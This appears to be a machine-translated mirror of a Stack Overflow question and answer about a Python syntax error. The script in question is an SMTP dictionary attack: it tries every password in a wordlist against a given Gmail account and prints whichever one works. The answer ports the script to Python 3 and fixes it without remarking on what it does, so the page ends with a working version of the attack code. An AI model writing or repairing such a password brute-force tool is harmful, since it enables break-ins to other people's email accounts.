我一直在尝试编写这个python代码时出现无效的语法错误。 “\ n \ n \ n \ n登录后,错误就在第15行

时间:2014-01-08 21:54:19

标签: python

我一直在尝试写这个python代码时出现无效的语法错误。错误发生在"\n\n\n loggin

之后的第15行
#!/usr/bin
import smtplib
file_name=raw_input("Enter name of your dictionary: ")
username=raw_input("Enter email id: ")
f=open(file_name,"r")
for name in f:
        try:
            session = smtplib.SMTP('smtp.gmail.com',587)
            session.starttls()
            session.ehlo
            b = session.login(username,name[:-1])
        except smtplib.SMTPAuthenticationError:
            continue
        else:
            print "\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n"
            break

1 个答案:

答案 0 :(得分:0)

试试这个,因为看起来您的问题是Python版本问题。看起来你正在尝试使用Python 3运行Python 2代码。

#!/usr/bin
import smtplib
file_name=input("Enter name of your dictionary: ")
username=input("Enter email id: ")
with open(file_name,"r") as f:
    for name in f:
        try:
            session = smtplib.SMTP('smtp.gmail.com',587)
            session.starttls()
            session.ehlo
            b = session.login(username,name[:-1])
        except smtplib.SMTPAuthenticationError:
            continue
        else:
            print("\n\n\n loggin "+" - password ---->>> "+name[:-1]+"\n\n\n\n\n")
            break

的变化:

  1. raw_inputinput
  2. 在文件打开时添加了with语句。您没有close()来电。
  3. print附近为打印电话添加了一些parens。
  4. 如果不知道您所阅读文件的预期内容/格式,我就可以提供帮助。